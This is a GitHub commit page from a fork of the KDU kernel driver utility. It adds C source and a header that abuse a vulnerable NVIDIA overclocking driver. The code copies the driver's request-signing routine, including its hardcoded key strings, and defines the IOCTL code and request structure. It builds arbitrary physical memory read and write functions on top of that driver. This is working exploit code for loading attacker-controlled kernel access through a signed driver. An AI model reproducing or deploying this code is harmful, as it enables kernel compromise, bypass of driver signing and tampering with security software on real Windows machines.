forked from hfiref0x/KDU
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request hfiref0x#77 from hfiref0x/dev134
v 1.3.4
- Loading branch information
Showing
77 changed files
with
2,460 additions
and
303 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,142 @@ | ||
/******************************************************************************* | ||
* | ||
* (C) COPYRIGHT AUTHORS, 2023 | ||
* | ||
* TITLE: NVIDIA.CPP | ||
* | ||
* VERSION: 1.34 | ||
* | ||
* DATE: 16 Sep 2023 | ||
* | ||
* NVidia drivers routines. | ||
* | ||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
* PARTICULAR PURPOSE. | ||
* | ||
*******************************************************************************/ | ||
|
||
#include "global.h" | ||
#include "idrv/nvidia.h" | ||
|
||
#ifdef __cplusplus | ||
extern "C" { | ||
#include "../Shared/thirdparty/whirlpool/whirlpool.h" | ||
} | ||
#endif | ||
|
||
// | ||
// Nvo based on https://github.com/zer0condition/NVDrv | ||
// | ||
|
||
VOID whirlpool( | ||
_In_ PVOID pcData, | ||
_In_ ULONG cbData, | ||
_Inout_ PVOID result) | ||
{ | ||
NESSIEstruct structpointer; | ||
|
||
NESSIEinit(&structpointer); | ||
NESSIEadd((const PUCHAR)pcData, 8 * cbData, &structpointer); | ||
NESSIEfinalize(&structpointer, (PUCHAR)result); | ||
} | ||
|
||
/* | ||
* NvoEncryptRequest | ||
* | ||
* Purpose: | ||
* | ||
* Encrypts request for driver side verification. | ||
* Exact code ripped from driver. | ||
* | ||
*/ | ||
VOID NvoEncryptRequest( | ||
_In_ PVOID Request, | ||
_In_ ULONG Size, | ||
_In_ PVOID EncryptedKey | ||
) | ||
{ | ||
char key_value2[64]; | ||
char key_value1[64]; | ||
char result1[256]; | ||
char result2[312]; | ||
|
||
_strcpy_a(key_value1, "Dfasd0981=kFGdv'df,b;lsk"); //random bullshit go | ||
memset(&key_value1[25], 0, 39); | ||
_strcpy_a(key_value2, "kasjhf923uasdfkYYE-=~"); | ||
memset(&key_value2[22], 0, 42); | ||
memset(result1, 0, sizeof(result1)); | ||
memset(result2, 0, 256); | ||
whirlpool(Request, Size, &result1); | ||
RtlCopyMemory(&result1[64], key_value1, 64ui64); | ||
whirlpool(&result1, 128, &result2); | ||
RtlCopyMemory(&result2[64], key_value2, 64ui64); | ||
whirlpool(&result2, 128, EncryptedKey); | ||
} | ||
|
||
/* | ||
* NvoReadPhysicalMemory | ||
* | ||
* Purpose: | ||
* | ||
* Read from physical memory. | ||
* | ||
*/ | ||
BOOL WINAPI NvoReadPhysicalMemory( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ ULONG_PTR PhysicalAddress, | ||
_In_ PVOID Buffer, | ||
_In_ ULONG NumberOfBytes) | ||
{ | ||
NVOCLOCK_REQUEST request; | ||
|
||
RtlSecureZeroMemory(&request, sizeof(request)); | ||
|
||
request.FunctionId = NV_FUNCID_PHYS_READ; | ||
request.Size = NumberOfBytes; | ||
request.Destination = Buffer; | ||
request.Source = (PVOID)PhysicalAddress; | ||
|
||
NvoEncryptRequest(&request, 0x38, &request.EncryptKey); | ||
|
||
return supCallDriver(DeviceHandle, | ||
IOCTL_NVOCLOCK_DISPATCH, | ||
&request, | ||
sizeof(request), | ||
&request, | ||
sizeof(request)); | ||
} | ||
|
||
/* | ||
* NvoWritePhysicalMemory | ||
* | ||
* Purpose: | ||
* | ||
* Write to physical memory. | ||
* | ||
*/ | ||
BOOL WINAPI NvoWritePhysicalMemory( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ ULONG_PTR PhysicalAddress, | ||
_In_ PVOID Buffer, | ||
_In_ ULONG NumberOfBytes) | ||
{ | ||
NVOCLOCK_REQUEST request; | ||
|
||
RtlSecureZeroMemory(&request, sizeof(request)); | ||
|
||
request.FunctionId = NV_FUNCID_PHYS_WRITE; | ||
request.Size = NumberOfBytes; | ||
request.Destination = (PVOID)PhysicalAddress; | ||
request.Source = Buffer; | ||
|
||
NvoEncryptRequest(&request, 0x38, &request.EncryptKey); | ||
|
||
return supCallDriver(DeviceHandle, | ||
IOCTL_NVOCLOCK_DISPATCH, | ||
&request, | ||
sizeof(request), | ||
&request, | ||
sizeof(request)); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
/******************************************************************************* | ||
* | ||
* (C) COPYRIGHT AUTHORS, 2023 | ||
* | ||
* TITLE: NVIDIA.H | ||
* | ||
* VERSION: 1.34 | ||
* | ||
* DATE: 16 Sep 2023 | ||
* | ||
* NVidia drivers interface header. | ||
* | ||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF | ||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED | ||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A | ||
* PARTICULAR PURPOSE. | ||
* | ||
*******************************************************************************/ | ||
|
||
#pragma once | ||
|
||
#define NV_FUNCID_READ_CRX 0x0 | ||
#define NV_FUNCID_WRITE_CRX 0x1 | ||
#define NV_FUNCID_PHYS_READ 0x14 | ||
#define NV_FUNCID_PHYS_WRITE 0x15 | ||
|
||
#define FILE_DEVICE_NVOCLOCK (DWORD)0x9C40 | ||
|
||
#define NVOCLOCK_DISPATCH (DWORD)0x921 | ||
|
||
#define IOCTL_NVOCLOCK_DISPATCH \ | ||
CTL_CODE(FILE_DEVICE_NVOCLOCK, NVOCLOCK_DISPATCH, METHOD_BUFFERED, FILE_WRITE_ACCESS) //0x9C40A484 | ||
|
||
// | ||
// Multipurpose structure, other defines are irrelevant, size is 0x138 and checked in handlers. | ||
// | ||
typedef struct _NVOCLOCK_REQUEST { | ||
ULONG FunctionId; //NV_FUNCID_* | ||
ULONG Size; | ||
PVOID Destination; | ||
PVOID Source; | ||
BYTE OutputBuffer[32]; | ||
BYTE EncryptKey[64]; //encrypted message here | ||
BYTE Reserved0[192]; | ||
} NVOCLOCK_REQUEST, * PNVOCLOCK_REQUEST; | ||
|
||
BOOL WINAPI NvoReadPhysicalMemory( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ ULONG_PTR PhysicalAddress, | ||
_In_ PVOID Buffer, | ||
_In_ ULONG NumberOfBytes); | ||
|
||
BOOL WINAPI NvoWritePhysicalMemory( | ||
_In_ HANDLE DeviceHandle, | ||
_In_ ULONG_PTR PhysicalAddress, | ||
_In_ PVOID Buffer, | ||
_In_ ULONG NumberOfBytes); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.